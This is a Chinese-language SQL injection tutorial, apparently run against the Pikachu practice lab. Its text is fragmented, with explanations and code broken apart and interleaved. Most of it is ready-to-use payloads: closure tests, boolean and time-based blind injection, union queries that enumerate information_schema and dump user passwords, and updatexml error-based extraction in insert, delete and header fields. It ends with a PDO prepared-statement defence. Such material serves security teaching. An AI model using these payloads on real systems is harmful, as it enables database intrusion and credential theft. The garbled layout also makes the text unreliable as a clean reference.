在Owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
select 用户名,用户邮箱 from 表名 where 列名=1
HackBar
插件,启用POST方式。submit=查询&id=1 or 1=1 --
select 用户名,用户邮箱 from 表名 where 列名=1 or 1=1 --
1 # 正常返回
1' # 页面报错
1" # 正常返回
select 字段 from 表名 where 列名='1'
1' or 1=1 #
1 # 正常返回
1% # 正常返回
1%' # 页面报错
1%" # 正常返回
select 字段 from 表名 where 列名 LIKE '%1%'
1%' or 1=1 #
变量的拼接类型是多种多样的,不仅仅限于以上3种类型。所以核心思想是猜测后台语句类型,使用各种闭合进行测试,构造合法SQL语句欺骗后台。
1 # 正常返回
1' # 页面报错
1" # 正常返回
1' or 1=1 # # 页面报错
1'% or 1=1 # # 页面报错
1') or 1=1 # # 返回全部数据
select 字段 from 表名 where 列名 LIKE ('1')
1') or 1=1 #
Insert和update注入漏洞一般存在于新增或修改用户信息的地方。
insert/update注入
漏洞环境,点击注册。在账户名处输入'
,任意填写密码,点击注册。发现页面报错,即可能存在报错注入insert into member(username,pw,sex,phonenum,email,address) values('naraku','123',1,2,3,4)
-- Payload
' or updatexml(1, concat(0x7e, database()), 0) or '
-- 后台执行如下
insert into member(username,pw,sex,phonenum,email,address)
values('' or updatexml(1, concat(0x7e, database()), 0) or '','123',1,2,3,4)
updatexml()
中的查询语句'
,也会发现页面报错。贴入以上Payload,得到同样结果。delete注入
漏洞环境,先任意输入一些留言http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=1
delete from message where id={$_GET['id']};
-- Payload
1 or updatexml(1,concat(0x7e, database()),3)
-- 后台执行如下
delete from message where id=1 or updatexml(1,concat(0x7e, database()),3)
有时候后台需要通过HTTP Header
头获取客户端的一些信息,如UserAgent
、Accept
字段等,会对客户端的HTTP Header
信息进行获取并使用SQL进行处理,可能会导致基于HTTP Header
的SQL注入漏洞
HTTP Header
漏洞,使用admin/123456
登录一下,可以看到UserAgent
、Accept
字段被记录Repeater
,将UserAgent
修改为单引号'
,可以看到返回报错insert
漏洞的Payload一样' or updatexml(1,concat(0x7e, database()),3) or '
前面的注入都是有明显报错信息返回的,但是很多时候网站会对这些报错信息进行屏蔽,或者经过处理后返回一些标准的信息,此时无法根据报错信息进行注入的判断。而这里的布尔盲注是通过对比网站对于"真"和"假"的返回结果,从而构造SQL查询语句,并根据网站返回结果来判断该语句的结果为真还是假
username不存在
,并且已知kobe
这个用户存在。因此可以构造语句如下:kobe' and length(database())>6 #
kobe' and length(database())>7 #
length()
函数来获取当前数据库名的长度并进行比较,在>6
时返回用户信息,即证明为真;>7
时返回username
不存在,即为假。由此可判断该数据库的长度为7
kobe' and ascii(substr(database(),1,1))>111 #
kobe' and ascii(substr(database(),1,1))>112 # =>p
...
kobe' and ascii(substr(database(),7,1))>116#
kobe' and ascii(substr(database(),7,1))>117# =>u
substr(database(),1,1))
为从database()
返回的数据库名中的第1
位开始取值,取1
位。并通过ascii()
函数转换为ASCII码,将其分别与111和112进行比较。当该ASCII码>111
时返回真,>112
时返回假。由此可知该ASCII码为112
,即p
。以此类推,可以猜解出各个位置的字母,组合得到库名pikachu
如果说基于Boolean
的盲注在页面上还可以看到真和假不同的回显的话,那么如果页面上什么回显都没有呢?这里就要用到基于时间的盲注,通过特定的输入,判断后台执行的事件,从而确定注入。
kobe' and sleep(5) #
4.05s
(9.11s
,延迟了5s
,由此可以确认此处存在时间盲注。if
语句并通过返回的时间进行判断。构造Payload如下kobe' and if(length(database())>6, sleep(5), null) #
kobe' and if(length(database())>7, sleep(5), null) #
>6
时暂停了5秒,>7
时没有暂停。由此可知数据库名长度为7
kobe' and if((substr(database(),1,1))='a' , sleep(5), null) #
kobe' and if((substr(database(),1,1))='p' , sleep(5), null) #
id=$id
id='$id'
text like "%{$_GET['id']}%"
MySQL 5.0以上版本自带数据库
information_schema
,记录当前MySQL下所有数据库名、表名、列名。
information_schema
提供了访问数据库元数据的方式,元数据包括数据库名、表名、字段数据类型、访问权限等信息。符号点.
表示下一级Information_schema.schemata
:记录库名信息的表
schema_name
:记录库名的字段Information_schema.tables
:记录表名信息的表
table_schema
:记录库名的字段table_name
:记录表名的字段Information_schema.columns
:记录列名信息的表
table_schema
:记录库名的字段table_name
:记录表名的字段column_name
:记录列名的字段这里利用字符型GET注入漏洞获取Pikachu库中用户数据
x' or 1=1 #
x' order by 2 # -> 正常返回
x' order by 3 # -> 返回错误,即可知列数为2
x' union select database(),user() #
x' union select 1,schema_name from information_schema.schemata #
httpinfo
,member
,message
,users
,xssblind
x' union select 1,table_name from information_schema.tables where table_schema="pikachu" #
id
,username
,password
,level
x' union select 1,column_name from information_schema.columns where table_schema="pikachu" and table_name="users" #
username
,password
x' union select username,password from users #
seletc/insert/update/delete
都可以使用报错来获取信息updatexml(XML_Document, XPath_String, New_Value)
XML_Document
,表中字段名XPath_String
,XPath格式的字符串New_Value
,替换的值ExtractValue((XML_Document, XPath_String)
'
,可以看到返回报错信息,尝试报错注入' and updatexml(1, version(), 0) #
XPATH syntax error: '.53'
,可以看到返回的版本号显示不全,需要利用concat()
函数concat()
函数可以把传进去的2个参数组合成一个完整的字符串并返回,同时也可以执行表达式,可以把参数和表达式执行的结果进行拼接并返回。0x7e
是~
的十六进制,可以防止返回的查询结果被截断。' and updatexml(1, concat(0x7e, version()) ,3) #
XPATH syntax error: '~5.5.53'
Subquery returns more than 1 row
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" )) ,0) #
limit
来操作返回的数量。limit 0,1
为从第0个开始取,取1条' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 0,1)) ,3) #
......
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 4,1)) ,3) #
' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 0,1)),3) #
......
' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 3,1)),3) #
' and updatexml(1,concat(0x7e, (select username from users limit 0,1)),3) #
' and updatexml(1,concat(0x7e, (select password from users limit 0,1)),3) #
' and exists(select * from users) #
' and exists(select id from users) #
Hacker -> WAF -> WebServer -> Database
# PHP中使用PDO的prepare预处理
$username = $_GET['username'];
$password = $_GET['password'];
try{
$pdo = new PDO('mysql:host=localhost; dbname=ant', 'root', 'root');
$sql = "select * from admin where username=? and password=?";
$stmt=$pdo->prepare($sql); // 预处理,先不传参
$stmt->execute(array($username, $password)); // 以索引数组方式传参,而不是拼接,就成功防止了注入
}catch(PDOException $e){
echo $e->getMessage();
}